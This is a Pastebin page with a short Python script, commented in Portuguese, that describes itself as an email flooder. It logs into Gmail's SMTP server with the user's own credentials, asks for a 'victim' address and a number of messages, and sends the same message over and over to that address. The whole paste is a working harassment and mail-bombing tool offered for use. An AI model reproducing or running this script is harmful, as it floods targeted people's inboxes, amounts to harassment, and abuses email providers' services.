Advertisement
MendaxPentest

mandar email

Jan 28th, 2017
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. !/usr/bin/python3
  2. #coding: utf-8
  3. # Script que envia e-mail, cuja função principal é flood
  4. # Developer: marcos Alexandre
  5. # Version: 1.1
  6. import smtplib
  7. import os
  8. import sys
  9.  
  10. try:
  11.     clear = os.system("clear") if os.name == "posix" else os.system("cls")
  12.     print("==========================")
  13.     print("*    mandar emails E-mail      *")
  14.     print("*      marcos Alexandre    *")
  15.     print("==========================")
  16.  
  17.     serv = smtplib.SMTP('smtp.gmail.com', 587)
  18.     serv.ehlo()
  19.     serv.starttls()
  20.  
  21.     user = str(input("\n[*] Digite seu e-mail: "))
  22.     password = input("[*] Digite sua senha: ")
  23.     to = str(input("[*] Digite o e-mail da vítima: "))
  24.     numero = int(input("[+] Quantidade de e-mails: "))
  25.     mensagem = str(input("[+] Digite a mensagem: "))
  26.  
  27.     try:
  28.         serv.login(user, password)
  29.         print("[+] Login concluído com sucesso!")
  30.     except:
  31.         print("[!] E-mail ou senha errados!")
  32.         sys.exit()
  33.     x = 0
  34.     while(x < numero):
  35.         serv.sendmail(user, to, mensagem)
  36.         x += 1
  37.         print("[-] Enviados:", x)
  38.         if(x == numero):
  39.             print("[*] Sucesso!")
  40. except KeyboardInterrupt:
  41.     print("\n")
  42.     print("[!] Você escolheu sair!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement